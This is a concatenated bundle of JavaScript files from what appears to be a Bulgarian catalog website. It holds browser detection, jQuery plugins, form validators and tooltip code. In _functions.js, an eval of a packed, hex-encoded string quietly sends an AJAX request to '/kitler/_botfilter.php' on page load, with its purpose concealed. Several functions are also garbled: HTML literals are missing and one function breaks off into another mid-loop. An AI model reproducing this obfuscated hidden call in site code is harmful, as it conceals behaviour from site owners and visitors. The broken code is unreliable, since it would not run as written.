/*********************************************************************
* File: /scripts/browser_detection.js
* Simple Javascript Browser/OS detection
* Script Name: Full Featured Javascript Browser/OS detection
* Authors: Harald Hope, Tapio Markula, Websites: http://techpatterns.com/
* http://www.nic.fi/~tapio1/Teaching/index1.php3
* Script Source URI: http://techpatterns.com/downloads/javascript_browser_detection.php
* Version 4.2.4
* Copyright (C) 29 June 2007
* athor: Alex Sidorov
* date: 09.08.2010 10.15
* Към момента се използва само при зареждане на http://maps.google.com/maps
*********************************************************************/
//initialization, browser, os detection
var d, dom, nu='', brow='', ie, ie4, ie5, ie5x, ie6, ie7,
ns4, moz, moz_rv_sub, release_date='', moz_brow, moz_brow_nu='', moz_brow_nu_sub='', rv_full='',
mac, win, old, lin, ie5mac, ie5xwin, konq, saf, op, op4, op5, op6, op7;
d=document;
n=navigator;
nav=n.appVersion;
nan=n.appName;
nua=n.userAgent;
old=(nav.substring(0,1)<4);
mac=(nav.indexOf('Mac')!=-1);
win=( ( (nav.indexOf('Win')!=-1) || (nav.indexOf('NT')!=-1) ) && !mac)?true:false;
lin=(nua.indexOf('Linux')!=-1);
// begin primary dom/ns4 test
// this is the most important test on the page
if ( !document.layers )
{
dom = ( d.getElementById ) ? d.getElementById : false;
}
else {
dom = false;
ns4 = true;// only netscape 4 supports document layers
}
// end main dom/ns4 test
op=(nua.indexOf('Opera')!=-1);
saf=(nua.indexOf('Safari')!=-1);
konq=(!saf && (nua.indexOf('Konqueror')!=-1) ) ? true : false;
moz=( (!saf && !konq ) && ( nua.indexOf('Gecko')!=-1 ) ) ? true : false;
ie=((nua.indexOf('MSIE')!=-1)&&!op);
if (op)
{
str_pos=nua.indexOf('Opera');
nu=nua.substr((str_pos+6),4);
brow = 'Opera';
}
else if (saf)
{
str_pos=nua.indexOf('Safari');
nu=nua.substr((str_pos+7),5);
brow = 'Safari';
}
else if (konq)
{
str_pos=nua.indexOf('Konqueror');
nu=nua.substr((str_pos+10),3);
brow = 'Konqueror';
}
// this part is complicated a bit, don't mess with it unless you understand regular expressions
// note, for most comparisons that are practical, compare the 3 digit rv nubmer, that is the output
// placed into 'nu'.
else if (moz)
{
// regular expression pattern that will be used to extract main version/rv numbers
pattern = /[(); \n]/;
// moz type array, add to this if you need to
moz_types = new Array( 'Firebird', 'Phoenix', 'Firefox', 'Iceweasel', 'Galeon', 'K-Meleon', 'Camino', 'Epiphany', 'Netscape6', 'Netscape', 'MultiZilla', 'Gecko Debian', 'rv' );
rv_pos = nua.indexOf( 'rv' );// find 'rv' position in nua string
rv_full = nua.substr( rv_pos + 3, 6 );// cut out maximum size it can be, eg: 1.8a2, 1.0.0 etc
// search for occurance of any of characters in pattern, if found get position of that character
rv_slice = ( rv_full.search( pattern ) != -1 ) ? rv_full.search( pattern ) : '';
//check to make sure there was a result, if not do nothing
// otherwise slice out the part that you want if there is a slice position
( rv_slice ) ? rv_full = rv_full.substr( 0, rv_slice ) : '';
// this is the working id number, 3 digits, you'd use this for
// number comparison, like if nu >= 1.3 do something
nu = rv_full.substr( 0, 3 );
for (i=0; i < moz_types.length; i++)
{
if ( nua.indexOf( moz_types[i]) !=-1 )
{
moz_brow = moz_types[i];
break;
}
}
if ( moz_brow )// if it was found in the array
{
str_pos=nua.indexOf(moz_brow);// extract string position
moz_brow_nu = nua.substr( (str_pos + moz_brow.length + 1 ) ,3);// slice out working number, 3 digit
// if you got it, use it, else use nu
moz_brow_nu = ( isNaN( moz_brow_nu ) ) ? moz_brow_nu = nu: moz_brow_nu;
moz_brow_nu_sub = nua.substr( (str_pos + moz_brow.length + 1 ), 8);
// this makes sure that it's only the id number
sub_nu_slice = ( moz_brow_nu_sub.search( pattern ) != -1 ) ? moz_brow_nu_sub.search( pattern ) : '';
//check to make sure there was a result, if not do nothing
( sub_nu_slice ) ? moz_brow_nu_sub = moz_brow_nu_sub.substr( 0, sub_nu_slice ) : '';
}
if ( moz_brow == 'Netscape6' )
{
moz_brow = 'Netscape';
}
else if ( moz_brow == 'rv' || moz_brow == '' )// default value if no other gecko name fit
{
moz_brow = 'Mozilla';
}
if ( !moz_brow_nu )// use rv number if nothing else is available
{
moz_brow_nu = nu;
moz_brow_nu_sub = nu;
}
if (n.productSub)
{
release_date = n.productSub;
}
}
else if (ie)
{
str_pos=nua.indexOf('MSIE');
nu=nua.substr((str_pos+5),3);
brow = 'Microsoft Internet Explorer';
}
// default to navigator app name
else
{
brow = nan;
}
op5=(op&&(nu.substring(0,1)==5));
op6=(op&&(nu.substring(0,1)==6));
op7=(op&&(nu.substring(0,1)==7));
op8=(op&&(nu.substring(0,1)==8));
op9=(op&&(nu.substring(0,1)==9));
ie4=(ie&&!dom);
ie5=(ie&&(nu.substring(0,1)==5));
ie6=(ie&&(nu.substring(0,1)==6));
ie7=(ie&&(nu.substring(0,1)==7));
// default to get number from navigator app version.
if(!nu)
{
nu = nav.substring(0,1);
}
/*ie5x tests only for functionavlity. dom or ie5x would be default settings.
Opera will register true in this test if set to identify as IE 5*/
ie5x=(d.all&&dom);
ie5mac=(mac&&ie5);
ie5xwin=(win&&ie5x);
/********************************************************
here is a sample use of the browser detector, it would load a browser specific stylesheet
for certain unsupported or improperly supported mac ie 5 css styles. The depth variable
is used so that the javascript library file can be used from anywhere in the website, you simply
insert the depth of the file like this,
...
Browser information Page
');
}
else if ( document.layers ){
d.write('');
}
else if ( ie4 ){
d.write('');
}
else if ( moz && ( nu < 1 ) ){
d.write('');
}
else {
d.write('');
}
}
********************************************************//**
* File: /scripts/jquery.clearfield.js
* jQuery-Plugin "clearField"
*
* @version: 1.1, 04.12.2010
*
* @author: Stijn Van Minnebruggen stijn@donotfold.be http://www.donotfold.be
*
* @example: $('selector').clearField();
* @example: $('selector').clearField({ blurClass: 'myBlurredClass',
* activeClass: 'myactiveClass' });
*
*/
(function($) {
$.fn.clearField = function(s) {
s = jQuery.extend( {
blurClass : 'clearFieldBlurred',
activeClass : 'clearFieldActive',
attribute : 'rel',
value : ''
}, s);
return $(this).each(
function() {
var el = $(this);
s.value = el.val();
if (el.attr(s.attribute) == undefined) {
el.attr(s.attribute, el.val()).addClass(s.blurClass);
} else {
s.value = el.attr(s.attribute);
}
el.focus(function() {
if (el.val() == el.attr(s.attribute)) {
el.val('').removeClass(s.blurClass).addClass(
s.activeClass);
}
});
el.blur(function() {
if (el.val() == '') {
el.val(el.attr(s.attribute)).removeClass(
s.activeClass).addClass(s.blurClass);
}
});
});
}
})(jQuery);
// Back to TOP
jQuery(document).ready(function(){
jQuery('body').append('
');
jQuery(window).scroll(function () {
if (jQuery(this).scrollTop() != 0) { jQuery('#BackToTop').fadeIn(); } else { jQuery('#BackToTop').fadeOut(); }
});
jQuery('#BackToTop').click(function(){
jQuery("html, body").animate({ scrollTop: 0 }, 600);
return false;
});
window.setTimeout(function() {
jQuery('.eqHeights .equal').equalHeights();
}, 1500);
});
// Bootsrap toolips
jQuery(function () {
jQuery('[data-toggle="tooltip"]').tooltip()
})
// Equal Height Columns
jQuery.fn.extend({
equalHeights: function(){
var top=0;
var row=[];
var classname=('equalHeights'+Math.random()).replace('.','');
jQuery(this).each(function(){
var thistop=$(this).offset().top;
if (thistop>top) {
$('.'+classname).removeClass(classname);
top=thistop;
}
jQuery(this).addClass(classname);
jQuery(this).height('auto');
var h=(Math.max.apply(null, jQuery('.'+classname).map(function(){ return $(this).outerHeight(); }).get()));
jQuery('.'+classname).height(h);
}).removeClass(classname);
}
});
jQuery(function(){
jQuery(window).resize(function(){
jQuery('.eqHeights .equal').equalHeights();
}).trigger('resize');
});
/* Bootstrap Image Lightbox */
jQuery(document).ready(function ($) {
jQuery(document).delegate('*[data-toggle="lightbox"]', 'click', function(event) {
event.preventDefault();
return jQuery(this).ekkoLightbox({
always_show_close: true
});
});
});
/*********************************
* File: /scripts/_functions.js
* Набор от функции, може би тук би трябвало да са всички js функции.
* Не е ясно дали всички се ползват.
**********************************/
function proverka()
{
var stringSize = 0;
var stringToArray = $('#searchField').val().split("");
var loopTo = $('#searchField').val().length;
for(i = 0; i < loopTo; i++)
{
if(stringToArray[i].match(/[a-z]|[A-Z]|[0-9]|[а-я]|[А-Я]/))
{
stringSize++;
}
}
if(stringSize < 2 || loopTo > 255)
{
alert('Моля, въведете критерий за търсене !');
$('#searchField').focus();
return false;
}
return true;
}
function popup_window(x, wi, he, wi2, he2)
{
w = screen.width;
h = screen.height;
sx = w/2-wi2;
sy = h/2-he2;
window.open(x,'','status=no,resizable=no,scrollbars=no,toolbar=no,location=no,directories=no,menubar=no,width='+wi+',height='+he+',top='+sy+',left='+sx+',screenX='+sx+',screenY='+sy+'');
}
function popup_window2(x, wi, he, wi2, he2)
{
w = screen.width;
h = screen.height;
sx = w/2-wi2;
sy = h/2-he2;
window.open(x,'','status=no,resizable=yes,scrollbars=yes,toolbar=no,location=no,directories=no,menubar=no,width='+wi+',height='+he+',top='+sy+',left='+sx+',screenX='+sx+',screenY='+sy+'');
}
eval
(
function (p, k, a, c, e, d)
{
e = function (c)
{
return c.toString(36)
};
if (!''.replace(/^/, String))
{
while (c--)
{
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function (e)
{
return d[e]
}];
e = function ()
{
return '\\w+'
};
c = 1
};
while (c--)
{
if (k[c])
{
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}
(
'c 3=["\\a\\b\\5\\2\\7\\8\\6\\a\\d\\e\\g\\2\\f\\5\\7\\2\\8\\6\\h\\4\\m\\4","\\9\\n\\9\\l"];$[3[1]]({i:3[0],j:k});',
'||x74|_0x80f9|x70|x69|x72|x6C|x65|x61|x2F|x6B|var|x5F|x62|x66|x6F|x2E|url|cache|false|x78|x68|x6A'.split('|'),
24, 24, 0, {}
)
);
function trIn(tr)
{
var i;
for(i=0; i 1000)
{
alert("Моля, съкратете дължината на текста до под 1000 знака!");
forma.message.focus();
return false;
}
if(forma.sec_code.value == '')
{
alert("Моля, въведете кода от картинката!");
forma.message.focus();
return false;
}
return true;
}
function submitSearchForm()
{
if(proverka())
{
var domain = 'http://catalog.bg';
if(window.location.host.search(/office\.etel\.bg/) != -1)
{
var reversed = window.location.host.split("").reverse().join("");
var restpos = window.location.host.search(/office\.etel\.bg/);
var domainLeft = window.location.host.substring(restpos);
reversed = reversed.substring(reversed.search(/\./)+1);
reversed = reversed.substring(reversed.search(/\./)+1);
reversed = reversed.substring(reversed.search(/\./)+1);
domain = reversed.substring(0,reversed.search(/\./));
domain = domain.split("").reverse().join("");
domain = 'http://www.catalog.'+domain+'.'+domainLeft;
}
window.location.href = domain + "/result/"
+ encodeURI($('#searchField').val().toLowerCase().replace('.',' '));
}
}
function proverka_order_kr()
{
var forma = document.forma_order;
var str = forma.email.value;
var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
if (!filter.test(str))
{
alert("Моля, въведете валиден e-mail адрес!");
forma.email.focus();
return false;
}
if(forma.subject.value == '')
{
alert("Моля, въведете тема на запитването!");
forma.subject.focus();
return false;
}
if(forma.message.value == '')
{
alert("Моля, въведете запитване!");
forma.message.focus();
return false;
}
if(forma.message.value.length > 1000)
{
alert("Моля, съкратете дължината на текста до под 1000 знака!");
forma.message.focus();
return false;
}
return true;
}
function sendEmail(id)
{
var LINK = window.location.protocol + "//" + window.location.host + "/send_mail/" + id;
$.ajax({
async: true, type: 'POST', cache: false,url: LINK,
success: function(data){window.location.href = data;}
});
}/******************************************
* File: /scripts/tooltips/main.js
* Tooltip script
* powered by jQuery (http://www.jquery.com)
*
* written by Alen Grakalic (http://cssglobe.com)
*
* for more info visit http://cssglobe.com/post/1695/easiest-tooltip-and-image-preview-using-jquery
*
* Прави tooltip на .
* Единственото място на което намерих че се генерират такива линкове е в _functions_company.php
* за файловете с мултимедия за sitepages, които имат описание.
******************************************/
this.tooltip = function(){
/* CONFIG */
xOffset = 10;
yOffset = 20;
// these 2 variable determine popup's distance from the cursor
// you might want to adjust to get the right result
/* END CONFIG */
$("a.tooltip").hover(function(e){
this.t = this.title;
this.title = "";
$("body").append("